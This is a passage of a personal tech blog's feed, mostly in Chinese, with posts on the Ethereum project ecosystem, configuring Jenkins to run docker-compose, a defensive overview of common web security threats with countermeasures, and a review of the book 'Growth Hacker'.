src="http://7xi9tp.com1.z0.glb.clouddn.com/v2476.png" alt=""></p><p>click preview<br><img src="http://7xi9tp.com1.z0.glb.clouddn.com/v1123.png" alt=""></p>]]></content>
<summary type="html">
<h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>django-epiceditor</p>
<p>A django app that allows the easy addition of EpicEditor markdown editor to a django form field, whether in a custom app or the Django Admin.</p>
<p>The project url: <a href="https://pypi.python.org/pypi/django-epiceditor" target="_blank" rel="noopener">https://pypi.python.org/pypi/django-epiceditor</a></p>
</summary>
<category term="Security" scheme="https://morningchen.com/categories/Security/"/>
<category term="XSS" scheme="https://morningchen.com/categories/Security/XSS/"/>
<category term="xss" scheme="https://morningchen.com/tags/xss/"/>
<category term="vulnerability" scheme="https://morningchen.com/tags/vulnerability/"/>
</entry>
<entry>
<title>Ethereum Ecosphere</title>
<link href="https://morningchen.com/2016/12/19/ethereum-ecosphere/"/>
<id>https://morningchen.com/2016/12/19/ethereum-ecosphere/</id>
<published>2016-12-19T01:01:45.000Z</published>
<updated>2018-09-27T17:04:05.000Z</updated>
<content type="html"><![CDATA[<h1 id="以太坊项目生态圈"><a href="#以太坊项目生态圈" class="headerlink" title="以太坊项目生态圈"></a>以太坊项目生态圈</h1><h3 id="组织结构"><a href="#组织结构" class="headerlink" title="组织结构"></a>组织结构</h3><p>以太坊项目将由以下3个组织组成<br><img src="/2016/12/19/ethereum-ecosphere/eth.png"><br><a id="more"></a><br><img src="https://camo.githubusercontent.com/68b6d4dd156e85d22114ef1fa8a028f4f717e6f5/687474703a2f2f626974636f696e386274632e71696e6975646e2e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031342f31312f66696c65303030322e6a7067" alt="ethereum"></p><h5 id="以太坊基金会："><a href="#以太坊基金会：" class="headerlink" title="以太坊基金会："></a>以太坊基金会：</h5><p>总部设在瑞士楚格州的非营利基金会，这个基金是负责为未来加密货币研发和推进开发的其他机构分配资源的伞形公司。该基金会的董事会由Vitalik Buterin（主席），Mihai Alisie（副主席），Taylor Gerring, Stephan Tual, Joseph Lubin, Jeffrey Wilcke 还有 Gavin Wood组成。该基金会将重点放在首要的“使命”上，即，使运营机构来完成每天的日常工作。</p><p>使命和愿景:<br>以太坊基金会的使命是促进和支持研究，开发和教育，为世界提供分散的协议和工具，使开发商能够生产下一代分布式应用程序（dapps），并共同构建更全球可访问，更自由和更可信的互联网 。</p><p>主要职责：举办开发者大会 目前已举办3届</p><ul><li>DEVCON0 柏林 2014年11月</li><li>DEVCON1 伦敦 2015年11月</li><li>DEVCON2 上海 2016年9月</li></ul><h5 id="以太坊瑞士有限公司-已停止运作-："><a href="#以太坊瑞士有限公司-已停止运作-：" class="headerlink" title="以太坊瑞士有限公司(已停止运作)："></a>以太坊瑞士有限公司(已停止运作)：</h5><p>总部设在瑞士的一家公司，为了领导创世块链的发行，将负责运营2014年度的一部分工作。该公司由以太坊基金会100％控制，计划在创世块链发行后停止运作。</p><h5 id="DΞV："><a href="#DΞV：" class="headerlink" title="ĐΞV："></a>ĐΞV：</h5><p>将得到两档基金来专门建立的一个非营利性组织，优化和推广以太坊1.0版本。主导开发者Vitalik Buterin，Gavin Wood 和 Jeffrey Wilcke为董事。</p><h5 id="其他组织："><a href="#其他组织：" class="headerlink" title="其他组织："></a>其他组织：</h5><p>包括自律组织（SRO）和非营利性研究机构，这些组织可能会同时得到资助。根据预计，以太坊瑞士有限公司将会协助这些研究机构的起步，以太坊基金会可能将会监督SRO的活动。最终，以太坊基金会还将监督研究机构本身。</p><h3 id="以太坊历史与规划"><a href="#以太坊历史与规划" class="headerlink" title="以太坊历史与规划"></a>以太坊历史与规划</h3><h4 id="众筹计划"><a href="#众筹计划" class="headerlink" title="众筹计划"></a>众筹计划</h4><h5 id="以太坊1-0版本-已完成"><a href="#以太坊1-0版本-已完成" class="headerlink" title="以太坊1.0版本(已完成)"></a>以太坊1.0版本(已完成)</h5><p>以太坊1.0代表了ĐΞV和以太坊瑞士有限公司和的首要目标。以太坊基金会则将会把兴趣放在促进整个加密空间的发展上。</p><p>自2014年1月份项目成立以来，自愿贡献代码的开发人员已经完成了以下功能：</p><p>完成4个近乎兼容的以太坊客户端</p><ul><li><a href="https://github.com/ethereum/go-ethereum" target="_blank" rel="noopener">go-ethereum</a> 官方以太坊协议的Go语言实现</li><li><a href="https://github.com/ethereum/cpp-ethereum" target="_blank" rel="noopener">cpp-ethereum</a> 以太坊协议的c++实现</li><li><a href="https://github.com/ethereum/pyethapp" target="_blank" rel="noopener">pyethapp</a> 以太坊协议的python实现</li><li><a href="https://github.com/ethereum/ethereumj" target="_blank" rel="noopener">ethereumj</a> 以太坊协议的纯Java实现</li></ul><p>Serpent, LLL 和 Mutan的3种合约编程语言</p><ul><li><a href="https://github.com/ethereum/serpent" target="_blank" rel="noopener">serpent</a></li><li>LLL （已死亡 无进展）</li><li><a href="https://github.com/obscuren/mutan" target="_blank" rel="noopener">Mutan</a></li></ul><p>以太坊的JavaScript API</p><ul><li><a href="https://github.com/ethereum/web3.js" target="_blank" rel="noopener">web3.js</a></li></ul><h4 id="发布计划"><a href="#发布计划" class="headerlink" title="发布计划"></a>发布计划</h4><h5 id="第一阶段-Frontier-已完成"><a href="#第一阶段-Frontier-已完成" class="headerlink" title="第一阶段 Frontier (已完成)"></a>第一阶段 Frontier (已完成)</h5><p>Frontier阶段是以太坊的最初版本，不是一个完全可靠和安全的网络。Frontier是空白版的以太坊网络：一个用于挖矿的界面和一种上传和执行合约的方法。Frontier的主要用途是：将挖矿和交易所交易运行起来，从而社区可以运行挖矿设备，和开始建立一个环境，人们可以在里面测试分布式应用（DApps）。由于Frontier阶段的以太坊客户端只有命令行界面，没有图形界面，所以该阶段主要为开发者。</p><h5 id="第二阶段-Homestead（目前阶段）"><a href="#第二阶段-Homestead（目前阶段）" class="headerlink" title="第二阶段 Homestead（目前阶段）"></a>第二阶段 Homestead（目前阶段）</h5><p>Homestead阶段与Frontier阶段相比，没有明显的技术性里程碑，主要改善了安全性，表明以太坊网络已经平稳运行，不再是不安全和不可靠的网络了。在此阶段，以太坊提供了图形界面的钱包（Mist），易用性得到极大改善，以太坊不再是开发者的专属，普通用户也可以方便地体验和使用以太坊。</p><p>详细发展计划见<br> <a href="https://github.com/ethereum/homestead-guide" target="_blank" rel="noopener">homestead-guide</a></p><h5 id="第三阶段-Metropolis（待定）"><a href="#第三阶段-Metropolis（待定）" class="headerlink" title="第三阶段 Metropolis（待定）"></a>第三阶段 Metropolis（待定）</h5><p>在Metropolis阶段，团队将最终正式发布一个为非技术用户设计的、功能相对完善的用户界面，也就是发布<a href="https://github.com/ethereum/mist" target="_blank" rel="noopener">Mist浏览器</a>。</p><h5 id="第四阶段-Serenity（待定）"><a href="#第四阶段-Serenity（待定）" class="headerlink" title="第四阶段 Serenity（待定）"></a>第四阶段 Serenity（待定）</h5><p>同时也是以太坊2.0阶段，它有4个主要研究目标：</p><ul><li>发布区块链的 PoS 股权证明(Casper)版本</li><li>可扩展性</li><li>zkSNARK（zero-knowledge Succinct Non-interactive Argument of Knowledge），也就是零知识简洁非交互式参数。解决隐私问题。</li><li>升级evm（以太坊虚拟机）</li></ul><h3 id="目前主要维护的开源代码"><a href="#目前主要维护的开源代码" class="headerlink" title="目前主要维护的开源代码"></a>目前主要维护的开源代码</h3><h5 id="以太坊客户端"><a href="#以太坊客户端" class="headerlink" title="以太坊客户端"></a>以太坊客户端</h5><p>按照流行程度由高到低排列</p><ul><li><a href="https://github.com/ethereum/go-ethereum" target="_blank" rel="noopener">go-ethereum</a> 官方以太坊协议的Go语言实现</li><li><a href="https://github.com/ethcore/parity" target="_blank" rel="noopener">parity</a> 以太坊协议的Rust实现</li><li><a href="https://github.com/ethereum/cpp-ethereum" target="_blank" rel="noopener">cpp-ethereum</a> 以太坊协议的c++实现</li><li><a href="https://github.com/ethereum/pyethapp" target="_blank" rel="noopener">pyethapp</a> 以太坊协议的python实现</li><li><a href="https://github.com/ethereum/ethereumj" target="_blank" rel="noopener">ethereumj</a> 以太坊协议的纯Java实现</li></ul><h5 id="合约编程语言"><a href="#合约编程语言" class="headerlink" title="合约编程语言"></a>合约编程语言</h5><ul><li><a href="https://github.com/ethereum/solidity" target="_blank" rel="noopener">solidity</a> 坚实的面向合约的编程语言 (主流合约编程语言)</li><li><a href="https://github.com/ethereum/viper" target="_blank" rel="noopener">viper</a> 新的正在实验中的编程语言</li><li><a href="https://github.com/ethereum/serpent" target="_blank" rel="noopener">serpent</a> 用于写合约的编程语言</li></ul><h5 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h5><ul><li><a href="https://github.com/ethereum/web3.js" target="_blank" rel="noopener">web3.js</a> 以太坊的JavaScript API</li><li><a href="https://github.com/ethereum/evmjit" target="_blank" rel="noopener">evmjit</a> EVM JIT是一个用于及时编译Ethereum EVM代码的库。 它可以用于替换以太坊客户端中经典的解释器式EVM虚拟机。</li><li><a href="https://github.com/ethereum/pyethereum" target="_blank" rel="noopener">pyethereum</a> 以太坊项目的Python核心库</li><li><a href="https://github.com/ethereum/browser-solidity" target="_blank" rel="noopener">browser-solidity</a> 一个基于浏览器的Solidity编译器和IDE</li><li><a href="https://github.com/ethereum/mist" target="_blank" rel="noopener">mist</a> mist浏览器 浏览和使用Ðapps的首选工具</li><li><a href="https://github.com/ethereum/homebrew-ethereum" target="_blank" rel="noopener">homebrew-ethereum</a> homebrew的扩展 用来在mac上安装和管理 ethereum</li><li><a href="https://github.com/ethereum/solc-js" target="_blank" rel="noopener">solc-js</a> Javascript绑定的solidity编译器</li><li><a href="https://github.com/ethereum/ens" target="_blank" rel="noopener">ens</a> 以太坊的域名服务(Ethereum Name Service)</li><li><a href="https://github.com/ethereum/remix" target="_blank" rel="noopener">remix</a> Ethereum IDE 和web工具</li><li><a href="https://github.com/ethereum/meteor-dapp-wallet" target="_blank" rel="noopener">meteor-dapp-wallet</a> 用meteor写的以太坊钱包应用</li><li><a href="https://github.com/ethereum/meteor-package-elements" target="_blank" rel="noopener">meteor-package-elements</a> 基本的Meteor模板/组件的集合，使得dapps更快地构建。</li></ul><h5 id="文档"><a href="#文档" class="headerlink" title="文档"></a>文档</h5><ul><li><a href="https://github.com/ethereum/ethereum-org" target="_blank" rel="noopener">ethereum-org</a> 以太坊网站源码</li><li><a href="https://github.com/ethereum/yellowpaper" target="_blank" rel="noopener">yellowpaper</a> 以太坊黄皮书</li><li><a href="https://github.com/ethereum/EIPs" target="_blank" rel="noopener">EIPs</a> 以太坊改进建议(Ethereum Improvement Proposal), 提议和描述对以太坊协议的更改。</li><li><a href="https://github.com/ethereum/wiki" target="_blank" rel="noopener">wiki</a> 以太坊wiki</li></ul>]]></content>
<summary type="html">
<h1 id="以太坊项目生态圈"><a href="#以太坊项目生态圈" class="headerlink" title="以太坊项目生态圈"></a>以太坊项目生态圈</h1><h3 id="组织结构"><a href="#组织结构" class="headerlink" title="组织结构"></a>组织结构</h3><p>以太坊项目将由以下3个组织组成<br><img src="/2016/12/19/ethereum-ecosphere/eth.png"><br>
</summary>
<category term="Research" scheme="https://morningchen.com/categories/Research/"/>
<category term="Ethereum" scheme="https://morningchen.com/categories/Research/Ethereum/"/>
<category term="ethereum" scheme="https://morningchen.com/tags/ethereum/"/>
<category term="block-chain" scheme="https://morningchen.com/tags/block-chain/"/>
</entry>
<entry>
<title>Run docker-compose in Jenkins</title>
<link href="https://morningchen.com/2016/11/22/Run-docker-compose-in-Jenkins/"/>
<id>https://morningchen.com/2016/11/22/Run-docker-compose-in-Jenkins/</id>
<published>2016-11-22T09:09:06.000Z</published>
<updated>2018-09-27T03:52:57.000Z</updated>
<content type="html"><![CDATA[<h2 id="需求"><a href="#需求" class="headerlink" title="需求"></a>需求</h2><p>在阿里云服务器上部署Jenkins 在Jenkins中自动运行docker-compose<br>这篇文章主要记录一下部署时候遇到的问题。</p><p>Server: Ubuntu 14.04.2 LTS</p><p>Requirement:</p><ul><li>Jenkins version 2.19.3</li><li>Docker version 1.12.3</li><li>docker-compose version 1.8.1</li></ul><a id="more"></a><h2 id="Jenkins"><a href="#Jenkins" class="headerlink" title="Jenkins"></a>Jenkins</h2><h3 id="插件"><a href="#插件" class="headerlink" title="插件"></a>插件</h3><p>Jenkins 安装完成后会创建一个名为jenkins的用户，默认启动8080端口 开启jenkins服务<br>登陆web，初始引导操作会让你创建用户和安装一些插件，这里说一下必须额外安装的插件</p><p>系统管理-管理插件-可选插件</p><ul><li>Git client plugin</li><li>Git plugin</li><li>Bitbucket Plugin</li><li>Build Pipeline Plugin</li><li>Pipeline</li></ul><p>下插件时因为众所周知的网络问题 需要多重试几次</p><h3 id="安装步骤"><a href="#安装步骤" class="headerlink" title="安装步骤"></a>安装步骤</h3><p>该项目有4个job 分别是</p><ul><li>mom 用于抓bitbucket mom的代码</li><li>momflask 用于抓bitbucket momflask的代码</li><li>rmom 用于抓bitbucket rmom的代码</li><li>run_docker_compose 运行docker-compose</li></ul><h4 id="1-新建mom-job"><a href="#1-新建mom-job" class="headerlink" title="1. 新建mom job"></a>1. 新建mom job</h4><p>源码管理 <a href="mailto:git@bitbucket.org" target="_blank" rel="noopener">git@bitbucket.org</a>:Aaron_Liu/mom.git</p><p>指定分支 master</p><p>构建-execute shell<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pwd</span><br><span class="line">ls -a</span><br></pre></td></tr></table></figure></p><p>构建后操作-Trigger parameterized build on other projects（这一步是为了自动触发momflask的构建工作）</p><pre><code>Projects to build momflaskTrigger when build is StableTrigger build without parameters 一定要打勾！！！</code></pre><h4 id="2-新建momflask-job"><a href="#2-新建momflask-job" class="headerlink" title="2. 新建momflask job"></a>2. 新建momflask job</h4><p>General 高级</p><pre><code>使用自定义的工作空间 目录 `$JENKINS_HOME/workspace/mom/momflask`目的是为了把momflask的文件夹放在mom下</code></pre><p>源码管理 <a href="mailto:git@bitbucket.org" target="_blank" rel="noopener">git@bitbucket.org</a>:xixijun/momflask.git</p><p>指定分支 develop</p><p>构建-execute shell<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pwd</span><br><span class="line">ls -a</span><br></pre></td></tr></table></figure></p><p>构建后操作-Trigger parameterized build on other projects（这一步是为了自动触发rmom的构建工作）</p><pre><code>Projects to build rmomTrigger when build is StableTrigger build without parameters 一定要打勾！！！</code></pre><h4 id="3-新建rmom-job"><a href="#3-新建rmom-job" class="headerlink" title="3. 新建rmom job"></a>3. 新建rmom job</h4><p>General 高级</p><pre><code>使用自定义的工作空间 目录 `$JENKINS_HOME/workspace/mom/rmom`</code></pre><p>源码管理 <a href="mailto:git@bitbucket.org" target="_blank" rel="noopener">git@bitbucket.org</a>:xixijun/rmom.git</p><p>指定分支 dev</p><p>构建-execute shell<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pwd</span><br><span class="line">ls -a</span><br></pre></td></tr></table></figure></p><p>构建后操作-Trigger parameterized build on other projects（这一步是为了自动触发run_docker_compose的构建工作）</p><pre><code>Projects to build run_docker_composeTrigger when build is StableTrigger build without parameters 一定要打勾！！！</code></pre><h4 id="4-新建run-docker-compose-job"><a href="#4-新建run-docker-compose-job" class="headerlink" title="4. 新建run_docker_compose job"></a>4. 新建run_docker_compose job</h4><p>General 高级</p><pre><code>使用自定义的工作空间 目录 `$JENKINS_HOME/workspace/mom`</code></pre><p>构建-execute shell<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker-compose ps</span><br><span class="line">docker-compose up -d --build</span><br></pre></td></tr></table></figure></p><h4 id="5-新建pipline-view"><a href="#5-新建pipline-view" class="headerlink" title="5. 新建pipline view"></a>5. 新建pipline view</h4><p>这一步需要 <code>Build Pipeline Plugin</code> 插件支持<br>新建按钮在All标签栏右边的+号<br>点击 Build Pipeline View</p><p>配置 Select Initial Job 选择mom<br>保存后会看到流程图，流程图的关联是依据之前设置 <code>构建后操作-Trigger parameterized build on other projects</code></p><h2 id="遇到的问题"><a href="#遇到的问题" class="headerlink" title="遇到的问题"></a>遇到的问题</h2><p>如果想要实现git推送代码后自动更新 需要在job的构建触发器中设置Build when a change is pushed to BitBucket<br>还要在该项目的BitBucket中设置webhooks为 <a href="http://url/bitbucket-hook/" target="_blank" rel="noopener">http://url/bitbucket-hook/</a></p><p>安装Jenkins之后会创建一个名为jenkins的用户 需要赋予该用户权限才能执行docker命令<br>sudo usermod -aG docker Jenkins</p>]]></content>
<summary type="html">
<h2 id="需求"><a href="#需求" class="headerlink" title="需求"></a>需求</h2><p>在阿里云服务器上部署Jenkins 在Jenkins中自动运行docker-compose<br>这篇文章主要记录一下部署时候遇到的问题。</p>
<p>Server: Ubuntu 14.04.2 LTS</p>
<p>Requirement:</p>
<ul>
<li>Jenkins version 2.19.3</li>
<li>Docker version 1.12.3</li>
<li>docker-compose version 1.8.1</li>
</ul>
</summary>
<category term="DevOps" scheme="https://morningchen.com/categories/DevOps/"/>
<category term="Docker" scheme="https://morningchen.com/tags/Docker/"/>
<category term="Jenkins" scheme="https://morningchen.com/tags/Jenkins/"/>
</entry>
<entry>
<title>谈谈互联网安全</title>
<link href="https://morningchen.com/2016/02/16/Talk-about-Internet-Security/"/>
<id>https://morningchen.com/2016/02/16/Talk-about-Internet-Security/</id>
<published>2016-02-16T12:09:30.000Z</published>
<updated>2018-09-27T03:55:40.000Z</updated>
<content type="html"><![CDATA[<p>无论是IT从业人员还是普通用户都应该了解一下互联网安全，毕竟这关系到私人隐私。以下从9个方面谈谈互联网安全</p><h3 id="1-撞库"><a href="#1-撞库" class="headerlink" title="1.撞库"></a>1.撞库</h3><p>其实很多网站都泄露过数据库，包括一些大的比如csdn、网易邮箱、携程、甚至包括很久之前的QQ都泄露过。<br>撞库就是拿这些已经泄露过的用户名+密码，去尝试在一系列别的网站登陆</p><p>应对策略：对于开发人员，换salt，换加密方式；对于普通用户，改密码。</p><h3 id="2-模拟登陆"><a href="#2-模拟登陆" class="headerlink" title="2.模拟登陆"></a>2.模拟登陆</h3><p>当你登陆一个网站的时候，其实是建立了一个session，也就是会话，会话数据是在服务器端保存。但是如何知道你是哪个用户呢，它会回传一个session_id保存在cookie里，用户每次登陆的时候都会随机生成的一个很长的随机session_id，黑客会通过一些工具（比如抓包工具）来获取你浏览器的session_id来模拟登陆你的账号，达到窃取隐私的目的。</p><a id="more"></a><h3 id="3-抓包"><a href="#3-抓包" class="headerlink" title="3.抓包"></a>3.抓包</h3><p>现在绝大多数网站还是使用的http协议，而http协议本身又是不加密的，所以在你访问一个网站的时候，它的request和response都是明文的，这样黑客就能抓到你request和response的内容，然后进行各个字段的分析，就能拿到它有用的东西，然后去破解你，模拟你的登陆。<br>解决办法就是用https协议，这个s就是secure的意思，它通过SSL/TLS协议把request和response的内容做了一些加密，并且具有校验机制和证书，防止被第三方篡改或者冒充。当然有一些https加密方式已经被破解了，需要更新最新的加密包。之前的SSL低版本漏洞和心脏滴血漏洞都是https协议被破解的情况。</p><p>应对策略：网站换https协议、及时更新依赖的包</p><h3 id="4-跨站脚本攻击-XSS"><a href="#4-跨站脚本攻击-XSS" class="headerlink" title="4.跨站脚本攻击 - XSS"></a>4.跨站脚本攻击 - XSS</h3><p>比如有的网站的留言板没有禁用掉html格式的代码，黑客用一段url的脚本留言，这个url的?后面跟上用户的cookie信息。任何一个人只要打开了这个页面就会把自己的cookie信息上传到黑客的服务器上，黑客就拿到你的cookie进行分析，要知道session_id是存在cookie里的，于是黑客就能利用你的session_id进行模拟登陆，来窃取一些信息了</p><p>应对策略：所以这些留言板和用户可输入的地方都要对html语法进行过滤</p><h3 id="5-DDoS攻击"><a href="#5-DDoS攻击" class="headerlink" title="5.DDoS攻击"></a>5.DDoS攻击</h3><p>黑客会通过各种手段掌握大量空闲的计算机，俗称肉鸡，去对某一个网站发起请求。把你的网站比作银行柜台的话，黑客用一万台肉鸡对你的网站发起请求，就意味着一万个人来到你的银行柜台找柜员Bala一些有的没的，但是后面想取钱的人就挤不进来，这样子银行柜台被塞满了，也就意味着你的网站瘫痪了。<br>过去都是针对一些安全防范做得不太好的网吧植入木马程序，最近出现个新的情况，用手机当作肉鸡，特别是root后的手机，一旦root后，会很容易给第三方软件掌握手机的系统权限，那么就相当于手机也被装了木马。<br>DDos目前没有什么很好的措施进行防范，因为都是模拟的真实用户，而且来源地理位置IP也是很分散的，很难去过滤掉这种非法请求，所以这种可能需要找第三方安全公司进行策略上的清洗，也就是流量的清洗，他们会识别这些请求有什么非法的地方，然后吧这些请求过滤掉。具体的做法就是把你网站的域名解析到安全公司的IP上，他的服务器把过滤后的合法请求再转发给你自己的网站服务器上，这样大量的DDos请求就被他们给过滤掉了。</p><h3 id="6-SQL注入"><a href="#6-SQL注入" class="headerlink" title="6.SQL注入"></a>6.SQL注入</h3><p>造成SQL注入的原因是因为程序没有有效过滤用户的输入，使攻击者成功的向服务器提交恶意的SQL查询代码，程序在接收后错误的将攻击者的输入作为查询语句的一部分执行，导致原始的查询逻辑被改变，额外的执行了攻击者精心构造的恶意代码。</p><p>应对策略：DAO层包装，在后台作为参数传过去，处理特殊字符掉</p><h3 id="7-弱密码"><a href="#7-弱密码" class="headerlink" title="7.弱密码"></a>7.弱密码</h3><p>服务器密码、数据库密码等一些配置文件应该使用字母数字大小写混合的复杂长密码。还有，不要把这些配置文件上传到开源的版本控制系统中去了。去github上搜索关键字password，简直不要太多。<br>再说说用户密码的加密方式，虽然很多网站采用的MD5的加密方式加密了用户的密码，但是很多黑客手里都有彩虹表，左边是原文密码，右边是MD5后的密码。如果用户的密码异常简单或很常见的话，就算是MD5加密后的密码，也能很容易反查出原文密码。</p><p>应对策略：换较难破解的加密方式，</p><p>一些常见的密码加密算法，由破解难度从低到高排列：</p><ul><li>明文储存</li><li>hash md5</li><li>md5 + salt</li><li>bcrypt</li><li>PBKDF2</li></ul><h3 id="8-服务器漏洞"><a href="#8-服务器漏洞" class="headerlink" title="8.服务器漏洞"></a>8.服务器漏洞</h3><p>一般都是开发人员疏忽造成的，比如说权限控制没做好，没考虑周全等原因都会造成服务器漏洞，给黑客可乘之机。</p><p>应对策略：code review</p><h3 id="9-服务器安全"><a href="#9-服务器安全" class="headerlink" title="9.服务器安全"></a>9.服务器安全</h3><p>之前写过一篇关于服务器安全的文章<a href="http://morningchen.com/2015/07/16/settings-for-VPS-safety/">《服务器安全之SSH设置》</a></p><ul><li>用linux iptables软件防火墙服务</li><li>尽量把不用的一些端口给关掉，数据库的默认端口也要给改掉（想想之前的redis漏洞）</li><li>软件及时更新，打安全补丁</li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>从安全角度来讲，永远是道高一尺魔高一丈，黑客永远会找到更先进的攻击方法。比如说去年有人也说过京东，他虽然用的https协议，但是是SSL 2.0的加密版本，早就被破解了，但是还有无数的网站连https都没用做。毕竟京东是一家上市公司，大家难免对他的要求都比较高。对于一般的互联网公司而言，可能是个循序渐进的过程，一开始把一些较大的漏洞给补上，随着公司的扩大，预算的增加，不断提高自己的安全水准，或者请一些安全专家。</p><p>对于一般用户而言就是尽量保证自己每个网站的密码都不相同，一些涉及到隐私的重要网站，比如说一些购物网站、网银一定要使用复杂的密码，然后每隔一段时间就换一次密码。永远记住一句话，不是你的账号没泄露，而是你的账号没有价值。</p>]]></content>
<summary type="html">
<p>无论是IT从业人员还是普通用户都应该了解一下互联网安全，毕竟这关系到私人隐私。以下从9个方面谈谈互联网安全</p>
<h3 id="1-撞库"><a href="#1-撞库" class="headerlink" title="1.撞库"></a>1.撞库</h3><p>其实很多网站都泄露过数据库，包括一些大的比如csdn、网易邮箱、携程、甚至包括很久之前的QQ都泄露过。<br>撞库就是拿这些已经泄露过的用户名+密码，去尝试在一系列别的网站登陆</p>
<p>应对策略：对于开发人员，换salt，换加密方式；对于普通用户，改密码。</p>
<h3 id="2-模拟登陆"><a href="#2-模拟登陆" class="headerlink" title="2.模拟登陆"></a>2.模拟登陆</h3><p>当你登陆一个网站的时候，其实是建立了一个session，也就是会话，会话数据是在服务器端保存。但是如何知道你是哪个用户呢，它会回传一个session_id保存在cookie里，用户每次登陆的时候都会随机生成的一个很长的随机session_id，黑客会通过一些工具（比如抓包工具）来获取你浏览器的session_id来模拟登陆你的账号，达到窃取隐私的目的。</p>
</summary>
<category term="Security" scheme="https://morningchen.com/categories/Security/"/>
<category term="随笔" scheme="https://morningchen.com/tags/%E9%9A%8F%E7%AC%94/"/>
<category term="Security" scheme="https://morningchen.com/tags/Security/"/>
</entry>
<entry>
<title>《Growth Hacker》读后感</title>
<link href="https://morningchen.com/2015/12/18/growth-hacker-book-review/"/>
<id>https://morningchen.com/2015/12/18/growth-hacker-book-review/</id>
<published>2015-12-18T14:58:11.000Z</published>
<updated>2018-09-27T03:51:14.000Z</updated>
<content type="html"><![CDATA[<p>拜读了一下《Growth Hacker》。艾玛，简直就是产品经理的装逼利器啊～本书干货满满，各种没听过的词迎面扑来，简直大开眼界。此书一出，估计国内不久后就会出现CGO(Chief Growth Officer)首席增长官了:)，嘿嘿嘿。</p><p>讲真，一口气看完这本书后，给我印象最深的还是这句话：</p><blockquote><p>总的说来，一路野蛮成长，跌跌撞撞，体内吸收了不少“混乱”的能量，然而那些在当初看来任性妄为、无足轻重的经历，终将在某一日连点成线，开花结果</p></blockquote><p>简直深有体会啊！！！曾经不经意做的一些小事，看过的一篇文章，写过的一段代码，发表的一篇感叹，恰好就在那时碰撞在了一起，不由感叹冥冥之中。。。>.< 简直了。。</p><p>或许我的BLOG也可能会在未来与某件事连成一线吧。简单梳理下主要内容，作为一个框架植入到我的脑海中，等什么时候用得着了自然就会想起其中一二。</p><a id="more"></a><h3 id="什么是增长黑客"><a href="#什么是增长黑客" class="headerlink" title="什么是增长黑客"></a>什么是增长黑客</h3><p>顾名思义 Growth 指的产品增长这个核心目标，Hacker 就是以 Hacker的思维方式思考。<br>产品增长这个目标可以分为5个阶段AARRR</p><ul><li>Acquisition 获取用户</li><li>Activation 激发活跃</li><li>Retention 提高留存</li><li>Revenue 增加收入</li><li>Referral 传播推荐</li></ul><p>本书以大量的案例阐述了如何做到AARRR这五个阶段，但前提是创造正确的产品</p><h3 id="创造正确的产品"><a href="#创造正确的产品" class="headerlink" title="创造正确的产品"></a>创造正确的产品</h3><ul><li>产品本身的定位</li><li><p>PMF</p><p> ProductMarketFit 探寻产品与市场的完美契合<br> 如果产品初期不是那么完备，那么无止境的市场扩张只会毁了这个产品</p></li><li><p>MVP</p><p> 需求才是催生产品的原动力 用最小化可行产品(MVP, Minimum Viable Product)验证需求</p><p> 典型例子 用微信平台开发MVP</p><p> 必备模块：反馈渠道、官方公告、自动升级</p></li></ul><h3 id="Growth-Hacker的特征"><a href="#Growth-Hacker的特征" class="headerlink" title="Growth Hacker的特征"></a>Growth Hacker的特征</h3><ul><li>数据为王</li><li>专注目标</li><li>关注细节</li><li>富于创意</li><li>信息通透</li></ul><h3 id="以后可能会用上的Growth-Hacker工具箱"><a href="#以后可能会用上的Growth-Hacker工具箱" class="headerlink" title="以后可能会用上的Growth Hacker工具箱"></a>以后可能会用上的Growth Hacker工具箱</h3><ul><li><p>Google Analytics</p><p>谷歌强大免费的统计工具</p></li><li><p>Mixpanel/KissMetrics</p><p>用户行为导向分析工具</p></li><li><p>UserCycle</p><p>统计分析+生命周期维护+分组实验测试</p></li><li><p>Customer.io/Vero</p><p>分析邮件</p></li><li><p>Optimize.ly/Unbouce</p><p>A/B测试利器</p></li><li><p>Basecamp/风车/明道/Tower/Teambition</p><p>团队协作平台</p></li><li><p>友盟/TalkingData</p><p>移动应用统计平台</p></li></ul><h3 id="我的感受"><a href="#我的感受" class="headerlink" title="我的感受"></a>我的感受</h3><p>对于程序员来说，也许最好的面试方式是show me the code；<br>对于增长黑客而言，也许就是show me the data。</p><p>无论是传统行业还是新兴行业，都越来越需要多面手了。比如建筑电气工程师、技术型销售、全栈工程师以及这里说到的增长黑客，他们都不止精通于一点，多个部门之间的协调合作正是需要这些多面手来把持。实现产品的增长正是需要增长黑客，他们是游走在产品、运营、研发、设计、用研等环节之间的多面手。</p><p>涌现出如此多的未知事物想想都有些小兴奋呢，期待未来～</p>]]></content>
<summary type="html">
<p>拜读了一下《Growth Hacker》。艾玛，简直就是产品经理的装逼利器啊～本书干货满满，各种没听过的词迎面扑来，简直大开眼界。此书一出，估计国内不久后就会出现CGO(Chief Growth Officer)首席增长官了:)，嘿嘿嘿。</p>
<p>讲真，一口气看完这本书后，给我印象最深的还是这句话：</p>
<blockquote>
<p>总的说来，一路野蛮成长，跌跌撞撞，体内吸收了不少“混乱”的能量，然而那些在当初看来任性妄为、无足轻重的经历，终将在某一日连点成线，开花结果</p>
</blockquote>
<p>简直深有体会啊！！！曾经不经意做的一些小事，看过的一篇文章，写过的一段代码，发表的一篇感叹，恰好就在那时碰撞在了一起，不由感叹冥冥之中。。。&gt;.&lt; 简直了。。</p>
<p>或许我的BLOG也可能会在未来与某件事连成一线吧。简单梳理下主要内容，作为一个框架植入到我的脑海中，等什么时候用得着了自然就会想起其中一二。</p>
</summary>
<category term="Reading" scheme="https://morningchen.com/categories/Reading/"/>
<category term="随笔" scheme="https://morningchen.com/tags/%E9%9A%8F%E7%AC%94/"/>
</entry>
<entry>
<title>Vue.js 初体验</title>
<link href="https://morningchen.com/2015/12/05/vue-js-notes/"/>
